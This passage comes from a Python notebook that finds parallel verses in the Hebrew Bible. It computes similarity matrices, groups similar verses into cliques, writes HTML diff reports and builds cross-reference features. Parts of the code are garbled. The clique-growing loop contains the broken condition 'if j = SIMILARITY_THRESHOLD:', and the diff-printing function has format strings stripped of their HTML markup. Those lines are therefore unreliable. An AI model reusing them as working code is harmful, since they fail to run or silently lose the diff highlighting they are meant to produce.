* ratio(c_i, c_j) # HERE WE STORE THE OUTCOME if d >= MATRIX_THRESHOLD: chunk_dist[(i, j)] = d wc += 1 wt += 1 if wc == SIMILARITY_PROGRESS: wc = 0 TF.info( "SIMILARITY ({} {} {} M>{}): Computed {:>5} {} comparisons and saved {} entries in matrix".format( CHUNK_LB, CHUNK_DESC, SIMILARITY_METHOD, MATRIX_THRESHOLD, wt // sim_unit, sim_lb, len(chunk_dist), ) ) with open(matrix_path, "wb") as f: pickle.dump(chunk_dist, f, protocol=PICKLE_PROTOCOL) TF.info( "SIMILARITY ({} {} {} M>{}): Computed {:>5} {} ({}) comparisons and saved {} entries in matrix".format( CHUNK_LB, CHUNK_DESC, SIMILARITY_METHOD, MATRIX_THRESHOLD, wt // sim_unit, sim_lb, wt, len(chunk_dist), ) ) meta["# STORED SIMILARITIES"] = len(chunk_dist) similarity_post() # ## 5.7 Cliques # # Based on the value for the ``SIMILARITY_THRESHOLD`` we use the similarity matrix to pick the *interesting* # similar pairs out of it. From these pairs we lump together our cliques. # # Our list of experiments will select various values for ``SIMILARITY_THRESHOLD``, which will result # in various types of clique behavior. # # We store computed cliques for re-use. # # ## 5.7.1 Selecting passages # # We take all pairs from the similarity matrix which are above the threshold, and add both members to a list of passages. # # ## 5.7.2 Growing cliques # We inspect all passages in our set, and try to add them to the cliques we are growing. # We start with an empty set of cliques. # Each passage is added to a clique with which it has *enough familiarity*, otherwise it is added to a new clique. # *Enough familiarity means*: the passage is similar to at least one member of the clique, and the similarity is at least ``SIMILARITY_THRESHOLD``. # It is possible that a passage is thus added to more than one clique. In that case, those cliques are merged. # This may lead to growing very large cliques if ``SIMILARITY_THRESHOLD`` is too low. # In[15]: # In[35]: def key_chunk(i): c = chunks[i] w = c[0] return ( -len(c), L.u(w, otype="book")[0], L.u(w, otype="chapter")[0], L.u(w, otype="verse")[0], ) # In[36]: def meta_clique_pre(): global similars, passages TF.info( "CLIQUES ({} {} {} M>{} S>{}): inspecting the similarity matrix".format( CHUNK_LB, CHUNK_DESC, SIMILARITY_METHOD, MATRIX_THRESHOLD, SIMILARITY_THRESHOLD, ) ) similars = {x for x in chunk_dist if chunk_dist[x] >= SIMILARITY_THRESHOLD} passage_set = set() for (i, j) in similars: passage_set.add(i) passage_set.add(j) passages = sorted(passage_set, key=key_chunk) meta["# SIMILAR COMPARISONS"] = len(similars) meta["# SIMILAR PASSAGES"] = len(passages) # In[37]: def meta_clique_pre2(): TF.info( "CLIQUES ({} {} {} M>{} S>{}): {} relevant similarities between {} passages".format( CHUNK_LB, CHUNK_DESC, SIMILARITY_METHOD, MATRIX_THRESHOLD, SIMILARITY_THRESHOLD, len(similars), len(passages), ) ) # In[38]: def meta_clique_post(): global l_c_l meta["# CLIQUES"] = len(cliques) scliques = collections.Counter() for c in cliques: scliques[len(c)] += 1 l_c_l = max(scliques.keys()) if len(scliques) > 0 else 0 totmn = 0 totcn = 0 for (ln, n) in sorted(scliques.items(), key=lambda x: x[0]): totmn += ln * n totcn += n if VERBOSE: TF.info( "CLIQUES ({} {} {} M>{} S>{}): {:>4} cliques of length {:>4}".format( CHUNK_LB, CHUNK_DESC, SIMILARITY_METHOD, MATRIX_THRESHOLD, SIMILARITY_THRESHOLD, n, ln, ) ) meta["# CLIQUES of LENGTH {:>4}".format(ln)] = n TF.info( "CLIQUES ({} {} {} M>{} S>{}): {} members in {} cliques".format( CHUNK_LB, CHUNK_DESC, SIMILARITY_METHOD, MATRIX_THRESHOLD, SIMILARITY_THRESHOLD, totmn, totcn, ) ) # In[39]: def cliqueing(do_clique): global cliques if not do_clique: TF.info( "CLIQUES ({} {} {} M>{} S>{}): Already loaded {} cliques out of {} candidates from {} comparisons".format( CHUNK_LB, CHUNK_DESC, SIMILARITY_METHOD, MATRIX_THRESHOLD, SIMILARITY_THRESHOLD, len(cliques), len(passages), len(similars), ) ) meta_clique_pre2() meta_clique_post() return TF.info( "CLIQUES ({} {} {} M>{} S>{}): fetching similars and chunk candidates".format( CHUNK_LB, CHUNK_DESC, SIMILARITY_METHOD, MATRIX_THRESHOLD, SIMILARITY_THRESHOLD, ) ) meta_clique_pre() meta_clique_pre2() clique_path = "{}/{}/clique_{}_{}_{}_{}_{}".format( LOCAL_BASE_COMP, STORED_CLIQUE_DIR, CHUNK_LB, CHUNK_DESC, SIMILARITY_METHOD, MATRIX_THRESHOLD, SIMILARITY_THRESHOLD, ) if os.path.exists(clique_path): with open(clique_path, "rb") as f: cliques = pickle.load(f) TF.info( "CLIQUES ({} {} {} M>{} S>{}): Loaded: {:>5} cliques out of {:>6} chunks from {} comparisons".format( CHUNK_LB, CHUNK_DESC, SIMILARITY_METHOD, MATRIX_THRESHOLD, SIMILARITY_THRESHOLD, len(cliques), len(passages), len(similars), ) ) meta_clique_post() return TF.info( "CLIQUES ({} {} {} M>{} S>{}): Composing cliques out of {:>6} chunks from {} comparisons".format( CHUNK_LB, CHUNK_DESC, SIMILARITY_METHOD, MATRIX_THRESHOLD, SIMILARITY_THRESHOLD, len(passages), len(similars), ) ) cliques_unsorted = [] np = 0 npc = 0 for i in passages: added = None removable = set() for (k, c) in enumerate(cliques_unsorted): origc = tuple(c) for j in origc: d = ( chunk_dist.get((i, j), 0) if i < j else chunk_dist.get((j, i), 0) if j = SIMILARITY_THRESHOLD: if ( added is None ): # the passage has not been added to any clique yet c.add(i) added = k # remember that we added the passage to this clique else: # the passage has alreay been added to another clique: # we merge this clique with that one cliques_unsorted[added] |= c removable.add( k ) # we remember that we have merged this clicque into another one, # so we can throw away this clicque later break if added is None: cliques_unsorted.append({i}) else: if len(removable): cliques_unsorted = [ c for (k, c) in enumerate(cliques_unsorted) if k not in removable ] np += 1 npc += 1 if npc == CLIQUES_PROGRESS: npc = 0 TF.info( "CLIQUES ({} {} {} M>{} S>{}): Composed {:>5} cliques out of {:>6} chunks".format( CHUNK_LB, CHUNK_DESC, SIMILARITY_METHOD, MATRIX_THRESHOLD, SIMILARITY_THRESHOLD, len(cliques_unsorted), np, ) ) cliques = sorted([tuple(sorted(c, key=key_chunk)) for c in cliques_unsorted]) with open(clique_path, "wb") as f: pickle.dump(cliques, f, protocol=PICKLE_PROTOCOL) meta_clique_post() TF.info( "CLIQUES ({} {} {} M>{} S>{}): Composed and saved {:>5} cliques out of {:>6} chunks from {} comparisons".format( CHUNK_LB, CHUNK_DESC, SIMILARITY_METHOD, MATRIX_THRESHOLD, SIMILARITY_THRESHOLD, len(cliques), len(passages), len(similars), ) ) # ## 5.8 Output # # We deliver the output of our experiments in various ways, all in HTML. # # We generate chapter based diff outputs with color-highlighted differences between the chapters for every pair of chapters that merit it. # # For every (*good*) experiment, we produce a big list of its cliques, and for # every such clique, we produce a diff-view of its members. # # Big cliques will be split into several files. # # Clique listings will also contain metadata: the value of the experiment parameters. # # ### 5.8.1 Format definitions # Here are the definitions for formatting the (HTML) output. # In[16]: # In[40]: # clique lists css = """ td.vl { font-family: Verdana, Arial, sans-serif; font-size: small; text-align: right; color: #aaaaaa; width: 10%; direction: ltr; border-left: 2px solid #aaaaaa; border-right: 2px solid #aaaaaa; } td.ht { font-family: Ezra SIL, SBL Hebrew, Verdana, sans-serif; font-size: x-large; line-height: 1.7; text-align: right; direction: rtl; } table.ht { width: 100%; direction: rtl; border-collapse: collapse; } td.ht { border-left: 2px solid #aaaaaa; border-right: 2px solid #aaaaaa; } tr.ht.tb { border-top: 2px solid #aaaaaa; border-left: 2px solid #aaaaaa; border-right: 2px solid #aaaaaa; } tr.ht.bb { border-bottom: 2px solid #aaaaaa; border-left: 2px solid #aaaaaa; border-right: 2px solid #aaaaaa; } span.m { background-color: #aaaaff; } span.f { background-color: #ffaaaa; } span.x { background-color: #ffffaa; color: #bb0000; } span.delete { background-color: #ffaaaa; } span.insert { background-color: #aaffaa; } span.replace { background-color: #ffff00; } """ # In[41]: # chapter diffs diffhead = """ <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <title></title> <style type="text/css"> table.diff { font-family: Ezra SIL, SBL Hebrew, Verdana, sans-serif; font-size: x-large; text-align: right; } .diff_header {background-color:#e0e0e0} td.diff_header {text-align:right} .diff_next {background-color:#c0c0c0} .diff_add {background-color:#aaffaa} .diff_chg {background-color:#ffff77} .diff_sub {background-color:#ffaaaa} </style> </head> """ # In[42]: # table of experiments ecss = """ <style type="text/css"> .mis {background-color: #cccccc;} .rec {background-color: #aaffaa;} .dep {background-color: #ffaaaa;} .dub {background-color: #ffddaa;} .out {background-color: #ffddff;} .nor {background-color: #fcfcff;} .ps {font-weight: normal;} .mx {font-style: italic;} .cl {font-weight: bold;} .lr {font-weight: bold; background-color: #ffffaa;} p,td {font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: small;} td {border: 1pt solid #000000; padding: 4pt;} table {border: 1pt solid #000000; border-collapse: collapse;} </style> """ # In[43]: legend = """ <table> <tr><td class="mis">{mis}</td></tr> <tr><td class="rec">{rec}</td></tr> <tr><td class="dep">{dep}</td></tr> <tr><td class="dub">{dub}</td></tr> <tr><td class="out">{out}</td></tr> <tr><td class="nor">{nor}</td></tr> </table> """.format( **VALUE_LABELS ) # ### 5.8.2 Formatting clique lists # In[17]: # In[44]: def xterse_chunk(i): chunk = chunks[i] fword = chunk[0] book = L.u(fword, otype="book")[0] chapter = L.u(fword, otype="chapter")[0] return (book, chapter) # In[45]: def xterse_clique(ii): return tuple(sorted({xterse_chunk(i) for i in ii})) # In[46]: def terse_chunk(i): chunk = chunks[i] fword = chunk[0] book = L.u(fword, otype="book")[0] chapter = L.u(fword, otype="chapter")[0] verse = L.u(fword, otype="verse")[0] return (book, chapter, verse) # In[47]: def terse_clique(ii): return tuple(sorted({terse_chunk(i) for i in ii})) # In[48]: def verse_chunk(i): (bk, ch, vs) = i book = F.book.v(bk) chapter = F.chapter.v(ch) verse = F.verse.v(vs) text = "".join( "{}{}".format(Fs(TEXT_FEATURE).v(w), Fs(TRAILER_FEATURE).v(w)) for w in L.d(vs, otype="word") ) verse_label = '<td class="vl">{} {}:{}</td>'.format(book, chapter, verse) htext = '{}<td class="ht">{}</td>'.format(verse_label, text) return '<tr class="ht">{}</tr>'.format(htext) # In[49]: def verse_clique(ii): return '<table class="ht">{}</table>\n'.format( "".join(verse_chunk(i) for i in sorted(ii)) ) # In[50]: def condense(vlabels): cnd = "" (cur_b, cur_c) = (None, None) for (b, c, v) in vlabels: c = str(c) v = str(v) sep = ( "" if cur_b is None else ". " if cur_b != b else "; " if cur_c != c else ", " ) show_b = b + " " if cur_b != b else "" show_c = c + ":" if cur_b != b or cur_c != c else "" (cur_b, cur_c) = (b, c) cnd += "{}{}{}{}".format(sep, show_b, show_c, v) return cnd # In[51]: def print_diff(a, b): arep = "" brep = "" for (lb, ai, aj, bi, bj) in SequenceMatcher( isjunk=None, a=a, b=b, autojunk=False ).get_opcodes(): if lb == "equal": arep += a[ai:aj] brep += b[bi:bj] elif lb == "delete": arep += '{}'.format(lb, a[ai:aj]) elif lb == "insert": brep += '{}'.format(lb, b[bi:bj]) else: arep += '{}'.format(lb, a[ai:aj]) brep += '{}'.format(lb, b[bi:bj]) return (arep, brep) # In[52]: def print_chunk_fine(prev, text, verse_labels, prevlabels): if prev is None: return """ <tr class="ht tb bb"><td class="vl">{}</td><td class="ht">{}</td></tr> """.format( condense(verse_labels), text, ) else: (prevline, textline) = print_diff(prev, text) return """ <tr class="ht tb"><td class="vl">{}</td><td class="ht">{}</td></tr> <tr class="ht bb"><td class="vl">{}</td><td class="ht">{}</td></tr> """.format( condense(prevlabels) if prevlabels is not None else "previous", prevline, condense(verse_labels), textline, ) # In[53]: def print_chunk_coarse(text, verse_labels): return """ <tr class="ht tb bb"><td class="vl">{}</td><td class="ht">{}</td></tr> """.format( condense(verse_labels), text, ) # In[54]: def print_clique(ii, ncliques): return ( print_clique_fine(ii) if len(ii) < ncliques * DEP_CLIQUE_RATIO / 100 else print_clique_coarse(ii) ) # In[55]: def print_clique_fine(ii): condensed = collections.OrderedDict() for i in sorted(ii, key=lambda c: (-len(chunks[c]), c)): chunk = chunks[i] fword = chunk[0] book = F.book.v(L.u(fword, otype="book")[0]) chapter = F.chapter.v(L.u(fword, otype="chapter")[0]) verse = F.verse.v(L.u(fword, otype="verse")[0]) text = "".join( "{}{}".format(Fs(TEXT_FEATURE).v(w), Fs(TRAILER_FEATURE).v(w)) for w in chunk ) condensed.setdefault(text, []).append((book, chapter, verse)) result = [] nv = len(condensed.items()) prev = None for (text, verse_labels) in condensed.items(): if prev is None: if nv == 1: result.append(print_chunk_fine(None, text, verse_labels, None)) else: prev = text prevlabels = verse_labels continue else: result.append(print_chunk_fine(prev, text, verse_labels, prevlabels)) prev = text prevlabels = None return '<table class="ht">{}</table>\n'.format("".join(result)) # In[56]: def print_clique_coarse(ii): condensed = collections.OrderedDict() for i in sorted(ii, key=lambda c: (-len(chunks[c]), c))[0:LARGE_CLIQUE_SIZE]: chunk = chunks[i] fword = chunk[0] book = F.book.v(L.u(fword, otype="book")[0]) chapter = F.chapter.v(L.u(fword, otype="chapter")[0]) verse = F.verse.v(L.u(fword, otype="verse")[0]) text = "".join( "{}{}".format(Fs(TEXT_FEATURE).v(w), Fs(TRAILER_FEATURE).v(w)) for w in chunk ) condensed.setdefault(text, []).append((book, chapter, verse)) result = [] for (text, verse_labels) in condensed.items(): result.append(print_chunk_coarse(text, verse_labels)) if len(ii) > LARGE_CLIQUE_SIZE: result.append( print_chunk_coarse("+ {} ...".format(len(ii) - LARGE_CLIQUE_SIZE), []) ) return '<table class="ht">{}</table>\n'.format("".join(result)) # In[57]: def index_clique(bnm, n, ii, ncliques): return ( index_clique_fine(bnm, n, ii) if len(ii) < ncliques * DEP_CLIQUE_RATIO / 100 else index_clique_coarse(bnm, n, ii) ) # In[58]: def index_clique_fine(bnm, n, ii): verse_labels = [] for i in sorted(ii, key=lambda c: (-len(chunks[c]), c)): chunk = chunks[i] fword = chunk[0] book = F.book.v(L.u(fword, otype="book")[0]) chapter = F.chapter.v(L.u(fword, otype="chapter")[0]) verse = F.verse.v(L.u(fword, otype="verse")[0]) verse_labels.append((book, chapter, verse)) reffl = "{}_{}".format(bnm, n // CLIQUES_PER_FILE) return '{} <a href="{}.html#c_{}">{}</a>'.format( n, reffl, n, condense(verse_labels), ) # In[59]: def index_clique_coarse(bnm, n, ii): verse_labels = [] for i in sorted(ii, key=lambda c: (-len(chunks[c]), c))[0:LARGE_CLIQUE_SIZE]: chunk = chunks[i] fword = chunk[0] book = F.book.v(L.u(fword, otype="book")[0]) chapter = F.chapter.v(L.u(fword, otype="chapter")[0]) verse = F.verse.v(L.u(fword, otype="verse")[0]) verse_labels.append((book, chapter, verse)) reffl = "{}_{}".format(bnm, n // CLIQUES_PER_FILE) extra = ( "+ {} ...".format(len(ii) - LARGE_CLIQUE_SIZE) if len(ii) > LARGE_CLIQUE_SIZE else "" ) return '{} <a href="{}.html#c_{}">{}{}</a>'.format( n, reffl, n, condense(verse_labels), extra, ) # In[60]: def lines_chapter(c): lines = [] for v in L.d(c, otype="verse"): vl = F.verse.v(v) text = "".join( "{}{}".format(Fs(TEXT_FEATURE).v(w), Fs(TRAILER_FEATURE).v(w)) for w in L.d(v, otype="word") ) lines.append("{} {}".format(vl, text.replace("\n", " "))) return lines # In[61]: def compare_chapters(c1, c2, lb1, lb2): dh = difflib.HtmlDiff(wrapcolumn=80) table_html = dh.make_table( lines_chapter(c1), lines_chapter(c2), fromdesc=lb1, todesc=lb2, context=False, numlines=5, ) htext = """<html>{}<body>{}</body></html>""".format(diffhead, table_html) return htext # ### 5.8.3 Compiling the table of experiments # # Here we generate the table of experiments, complete with the coloring according to their assessments. # In[18]: # In[62]: # generate the table of experiments def gen_html(standalone=False): global other_exps TF.info( "EXPERIMENT: Generating html report{}".format( "(standalone)" if standalone else "" ) ) stats = collections.Counter() pre = ( """ <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> {} </head> <body> """.format( ecss ) if standalone else "" ) post = ( """ </body></html> """ if standalone else "" ) experiments = """ {} {} <table> <tr><th>chunk type</th><th>chunk size</th><th>similarity method</th>{}</tr> """.format( pre, legend, "".join("<th>{}</th>".format(sim_thr) for sim_thr in SIMILARITIES) ) for chunk_f in (True, False): if chunk_f: chunk_items = CHUNK_SIZES else: chunk_items = CHUNK_OBJECTS chunk_lb = CHUNK_LBS[chunk_f] for chunk_i in chunk_items: for sim_m in SIM_METHODS: set_matrix_threshold(sim_m=sim_m, chunk_o=chunk_i) these_outputs = outputs.get(MATRIX_THRESHOLD, {}) experiments += "<tr><td>{}</td><td>{}</td><td>{}</td>".format( CHUNK_LABELS[chunk_f], chunk_i, sim_m, ) for sim_thr in SIMILARITIES: okey = (chunk_lb, chunk_i, sim_m, sim_thr) values = these_outputs.get(okey) if values is None: result = '<td class="mis"> </td>' stats["mis"] += 1 else: (npassages, ncliques, longest_clique_len) = values cls = assess_exp( chunk_f, npassages, ncliques, longest_clique_len ) stats[cls] += 1 (lr_el, lr_lb) = ("", "") if ( CHUNK_LB, CHUNK_DESC, SIMILARITY_METHOD, SIMILARITY_THRESHOLD, ) == ( chunk_lb, chunk_i, sim_m, sim_thr, ): lr_el = '*' lr_lb = VALUE_LABELS["lr"] result = """ <td class="{}" title="{}">{} {} <a target="_blank" href="{}{}/{}_{}_{}_M{}_S{}.html">{}</a> {} </td>""".format( cls, lr_lb, lr_el, npassages, "" if standalone else LOCAL_BASE_OUTP + "/", EXPERIMENT_DIR, chunk_lb, chunk_i, sim_m, MATRIX_THRESHOLD, sim_thr, ncliques, longest_clique_len, ) experiments += result experiments += "</tr>\n" experiments += "</table>\n{}".format(post) if standalone: with open(EXPERIMENT_HTML, "w") as f: f.write(experiments) else: other_exps = experiments for stat in sorted(stats): TF.info("EXPERIMENT: {:>3} {}".format(stats[stat], VALUE_LABELS[stat])) TF.info("EXPERIMENT: Generated html report") # ### 5.8.4 High level formatting functions # # Here everything concerning output is brought together. # In[19]: # In[63]: def assess_exp(cf, np, nc, ll): return ( "out" if cf else "rec" if ll > nc * REC_CLIQUE_RATIO / 100 and ll <= nc * DUB_CLIQUE_RATIO / 100 else "dep" if ll > nc * DEP_CLIQUE_RATIO / 100 else "dub" if ll > nc * DUB_CLIQUE_RATIO / 100 else "nor" ) # In[64]: def printing(): global outputs, bin_cliques, base_name TF.info( "PRINT ({} {} {} M>{} S>{}): sorting out cliques".format( CHUNK_LB, CHUNK_DESC, SIMILARITY_METHOD, MATRIX_THRESHOLD, SIMILARITY_THRESHOLD, ) ) xt_cliques = { xterse_clique(c) for c in cliques } # chapter cliques as tuples of (b, ch) tuples bin_cliques = { c for c in xt_cliques if len(c) == 2 } # chapter cliques with exactly two chapters # all chapters that occur in binary chapter cliques meta["# BINARY CHAPTER DIFFS"] = len(bin_cliques) # We generate one kind of info for binary chapter cliques (the majority of cases). # The remaining cases are verse cliques that do not occur in such chapters, e.g. because they # have member chunks in the same chapter, or in multiple (more than two) chapters. ncliques = len(cliques) chapters_ok = assess_exp(CHUNK_FIXED, len(passages), ncliques, l_c_l) in { "rec", "nor", "dub", } cdoing = "involving" if chapters_ok else "skipping" TF.info( "PRINT ({} {} {} M>{} S>{}): formatting {} cliques {} {} binary chapter diffs".format( CHUNK_LB, CHUNK_DESC, SIMILARITY_METHOD, MATRIX_THRESHOLD, SIMILARITY_THRESHOLD, ncliques, cdoing, len(bin_cliques), ) ) meta_html = "\n".join("{:<40} : {:>10}".format(k, str(meta[k])) for k in meta) base_name = "{}_{}_{}_M{}_S{}".format( CHUNK_LB, CHUNK_DESC, SIMILARITY_METHOD, MATRIX_THRESHOLD, SIMILARITY_THRESHOLD, ) param_spec = """ <table> <tr><th>chunking method</th><td>{}</td></tr> <tr><th>chunking description</th><td>{}</td></tr> <tr><th>similarity method</th><td>{}</td></tr> <tr><th>similarity threshold</th><td>{}</td></tr> </table> """.format( CHUNK_LABELS[CHUNK_FIXED], CHUNK_DESC, SIMILARITY_METHOD, SIMILARITY_THRESHOLD, ) param_lab = "chunk-{}-{}-sim-{}-m{}-s{}".format( CHUNK_LB, CHUNK_DESC, SIMILARITY_METHOD, MATRIX_THRESHOLD, SIMILARITY_THRESHOLD, ) index_name = base_name all_name = "{}_{}".format("all", base_name) cliques_name = "{}_{}".format("clique", base_name) clique_links = [] clique_links.append( ("{}/{}.html".format(base_name, all_name), "Big list of all cliques") ) nexist = 0 nnew = 0 if chapters_ok: chapter_diffs = [] TF.info( "PRINT ({} {} {} M>{} S>{}): Chapter diffs needed: {}".format( CHUNK_LB, CHUNK_DESC, SIMILARITY_METHOD, MATRIX_THRESHOLD, SIMILARITY_THRESHOLD, len(bin_cliques), ) ) bcc_text = "These results look good, so a binary chapter comparison has been generated" for cl in sorted(bin_cliques): lb1 = "{} {}".format(F.book.v(cl[0][0]), F.chapter.v(cl[0][1])) lb2 = "{} {}".format(F.book.v(cl[1][0]), F.chapter.v(cl[1][1])) hfilename = "{}_vs_{}.html".format(lb1, lb2).replace(" ", "_") hfilepath = "{}/{}/{}".format(LOCAL_BASE_OUTP, CHAPTER_DIR, hfilename) chapter_diffs.append( ( lb1, cl[0][1], lb2, cl[1][1], "{}/{}/{}/{}".format( SHEBANQ_TOOL, LOCAL_BASE_OUTP, CHAPTER_DIR, hfilename, ), ) ) if not os.path.exists(hfilepath): htext = compare_chapters(cl[0][1], cl[1][1], lb1, lb2) with open(hfilepath, "w") as f: f.write(htext) if VERBOSE: TF.info( "PRINT ({} {} {} M>{} S>{}): written {}".format( CHUNK_LB, CHUNK_DESC, SIMILARITY_METHOD, MATRIX_THRESHOLD, SIMILARITY_THRESHOLD, hfilename, ) ) nnew += 1 else: nexist += 1 clique_links.append( ( "../{}/{}".format(CHAPTER_DIR, hfilename), "{} versus {}".format(lb1, lb2), ) ) TF.info( "PRINT ({} {} {} M>{} S>{}): Chapter diffs: {} newly created and {} already existing".format( CHUNK_LB, CHUNK_DESC, SIMILARITY_METHOD, MATRIX_THRESHOLD, SIMILARITY_THRESHOLD, nnew, nexist, ) ) else: bcc_text = "These results look dubious at best, so no binary chapter comparison has been generated" allgeni_html = ( index_clique(cliques_name, i, c, ncliques) for (i, c) in enumerate(cliques) ) allgen_htmls = [] allgen_html = "" for (i, c) in enumerate(cliques): if i % CLIQUES_PER_FILE == 0: if i > 0: allgen_htmls.append(allgen_html) allgen_html = "" allgen_html += '<h3><a name="c_{}">Clique {}</a></h3>\n{}'.format( i, i, print_clique(c, ncliques) ) allgen_htmls.append(allgen_html) index_html_tpl = """ {} <h1>Binary chapter comparisons</h1> {} {} """ content_file_tpl = """<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <title>{}</title> <style type="text/css"> {} </style> </head> <body> <h1>{}</h1> {} <a href="#meta">more parameters and stats</a> {} <h1><a name="meta">Parameters and stats</a></h1> <pre>{}</pre> </body> </html>""" a_tpl_file = '<a target="_blank" href="{}">{}</a>' index_html_file = index_html_tpl.format( a_tpl_file.format(*clique_links[0]), bcc_text, "\n".join(a_tpl_file.format(*c) for c in clique_links[1:]), ) listing_html = "{}\n".format( "\n".join(allgeni_html), ) for (subdir, fname, content_html, tit) in ( (None, index_name, index_html_file, "Index " + param_lab), (base_name, all_name, listing_html, "Listing " + param_lab), (base_name, cliques_name, allgen_htmls, "Cliques " + param_lab), ): subdir = "" if subdir is None else (subdir + "/") subdirabs = "{}/{}/{}".format(LOCAL_BASE_OUTP, EXPERIMENT_DIR, subdir) if not os.path.exists(subdirabs): os.makedirs(subdirabs) if type(content_html) is list: for (i, c_h) in enumerate(content_html): fn = "{}_{}".format(fname, i) t = "{}_{}".format(tit, i) with open( "{}/{}/{}{}.html".format( LOCAL_BASE_OUTP, EXPERIMENT_DIR, subdir, fn ), "w", ) as f: f.write( content_file_tpl.format(t, css, t, param_spec, c_h, meta_html) ) else: with open( "{}/{}/{}{}.html".format( LOCAL_BASE_OUTP, EXPERIMENT_DIR, subdir, fname ), "w", ) as f: f.write( content_file_tpl.format( tit, css, tit, param_spec, content_html, meta_html ) ) destination = outputs.setdefault(MATRIX_THRESHOLD, {}) destination[(CHUNK_LB, CHUNK_DESC, SIMILARITY_METHOD, SIMILARITY_THRESHOLD)] = ( len(passages), len(cliques), l_c_l, ) TF.info( "PRINT ({} {} {} M>{} S>{}): formatted {} cliques ({} files) {} {} binary chapter diffs".format( CHUNK_LB, CHUNK_DESC, SIMILARITY_METHOD, MATRIX_THRESHOLD, SIMILARITY_THRESHOLD, len(cliques), len(allgen_htmls), cdoing, len(bin_cliques), ) ) # ## 5.9 Running experiments # # The workflows of doing a single experiment, and then all experiments, are defined. # In[20]: # In[65]: outputs = {} # In[66]: def writeoutputs(): global outputs with open(EXPERIMENT_PATH, "wb") as f: pickle.dump(outputs, f, protocol=PICKLE_PROTOCOL) # In[67]: def readoutputs(): global outputs if not os.path.exists(EXPERIMENT_PATH): outputs = {} else: with open(EXPERIMENT_PATH, "rb") as f: outputs = pickle.load(f) # In[68]: def do_experiment(chunk_f, chunk_i, sim_m, sim_thr, do_index): if do_index: readoutputs() (do_chunk, do_prep, do_sim, do_clique, skip) = do_params( chunk_f, chunk_i, sim_m, sim_thr ) if skip: return chunking(do_chunk) preparing(do_prep) similarity(do_sim) cliqueing(do_clique) printing() if do_index: writeoutputs() gen_html() # In[69]: def do_only_chunk(chunk_f, chunk_i): do_chunk = do_params_chunk(chunk_f, chunk_i) chunking(do_chunk) # In[70]: def reset_experiments(): global outputs readoutputs() outputs = {} reset_params() writeoutputs() gen_html() # In[71]: def do_all_experiments(no_fixed=False, only_object=None): global outputs reset_experiments() for chunk_f in (False,) if no_fixed else (True, False): if chunk_f: chunk_items = CHUNK_SIZES else: chunk_items = CHUNK_OBJECTS if only_object is None else (only_object,) for chunk_i in chunk_items: for sim_m in SIM_METHODS: for sim_thr in SIMILARITIES: do_experiment(chunk_f, chunk_i, sim_m, sim_thr, False) writeoutputs() gen_html() gen_html(standalone=True) # In[72]: def do_all_chunks(no_fixed=False, only_object=None): global outputs reset_experiments() for chunk_f in (False,) if no_fixed else (True, False): if chunk_f: chunk_items = CHUNK_SIZES else: chunk_items = CHUNK_OBJECTS if only_object is None else (only_object,) for chunk_i in chunk_items: do_only_chunk(chunk_f, chunk_i) # In[73]: def show_all_experiments(): readoutputs() gen_html() gen_html(standalone=True) # # 6a # # TF features # # Based on selected similarity matrices, we produce an # edge features between verses, containing weighted links to parallel verses. # # The features to deliver are called `crossrefSET` and `crossrefLCS` and `crossref`. # # These are edge feature, both are symmetric, and hence redundant. # For every node, the *from* and *to* edges are identical. # # The `SET` variant consists of set based similarity, the `LCS` one on longest common subsequence # similarity. # # The `crossref` feature takes the union of both methods, with the average confidence. # # The weight is the similarity as percentage integer as it comes from the similarity matrix. # # ## Discussion # We only produce the results of the similarity computation (the matrix), we do not do the cliqueing. # There are many ways to make cliques, and that can easily be done by users of the data, once the # matrix results are in place. # We also do not produce pretty outputs, chapter diffs and other goodies. # Just the raw similarity data. # # The matrix computation is expensive. # We use fixed settings: # * verse chunks # * `SET` method / `LCS` method, # * matrix threshold 50 / 60 # * similarity threshold 75 # # That is, we compute a matrix that contains all pairs with similarity above 50 or 60 # depending on whether we do the `SET` method or the `LCS` method. # # From that matrix, we only use the similarities above 75. # This gives us room to play without recomputing the matrix. # # We do not want to redo this computation if it can be avoided. # # Verse similarity is not something that is very sensitive to change in the encoding. # It is very likely that similar verses in one version of the data agree with similar # verses in all other versions. # # However, the node numbers of verses may change from version to version, so that part # must be done again for each version. # # This is how we proceed: # * the matrix computation gives us triples (v1, v2, w), where v1, v2 are verse nodes and d is there similarity # * we store the result of the matrix computation in a csv file with the following fields: # * method, v1, v1Ref, v2, v2Ref, d, where v1Ref and v2Ref are verse references, # each containing exactly 3 fields: book, chapter, verse # * NB: the similarity table has only one entry for each pair of similar verses per method. # If (v1, v2) is in the table, (v2, v1) is not in the table, per method. # # When we run this notebook for the pipeline, we check for the presence of this file. # If it is present, we uses the vRefs in it to compute the verse nodes that are valid for the # version we are going to produce. # That gives us all the data we need, so we can skip the matrix computation. # # If the file is not present, we have to compute the matrix. # There will be a parameter, called FORCE_MATRIX, which can enforce a re-computation of the matrix. # We need some utility function geared to TF feature production. # The `get_verse()` function is simpler, and we do not have to run full experiments. # In[21]: # In[74]: def writeSimTable(similars): with open(TF_TABLE, "w") as h: for entry in similars: h.write("{}\n".format("\t".join(str(x) for x in entry))) # In[75]: def readSimTable(): similars = [] stats = set() with open(TF_TABLE) as h: for line in h: ( method, v1, v2, sim, book1, chapter1, verse1, book2, chapter2, verse2, ) = line.rstrip("\n").split("\t") verseNode1 = T.nodeFromSection((book1, int(chapter1), int(verse1))) verseNode2 = T.nodeFromSection((book2, int(chapter2), int(verse2))) if verseNode1 != int(v1): stats.add(verseNode1) if verseNode2 != int(v2): stats.add(verseNode2) similars.append( ( method, verseNode1, verseNode2, int(sim), book1, int(chapter1), int(verse1), book2, int(chapter2), int(verse2), ) ) nStats = len(stats) if nStats: utils.caption( 0, "\t\tINFO: {} verse nodes have been changed between versions".format( nStats ), ) utils.caption(0, "\t\tINFO: We will save and use the recomputed ones") writeSimTable(similars) else: utils.caption( 0, "\t\tINFO: All verse nodes are the same as in the previous version" ) return similars # In[76]: def makeSimTable(): similars = [] for (method, similarityCutoff) in ( ("SET", 75), ("LCS", 75), ): (do_chunk, do_prep, do_sim, do_clique, skip) = do_params( False, "verse", method, similarityCutoff ) chunking(do_chunk) preparing(do_prep) similarity(do_sim or FORCE_MATRIX) theseSimilars = [] for ((chunk1, chunk2), sim) in sorted( (x, d) for (x, d) in chunk_dist.items() if d >= similarityCutoff ): verseNode1 = 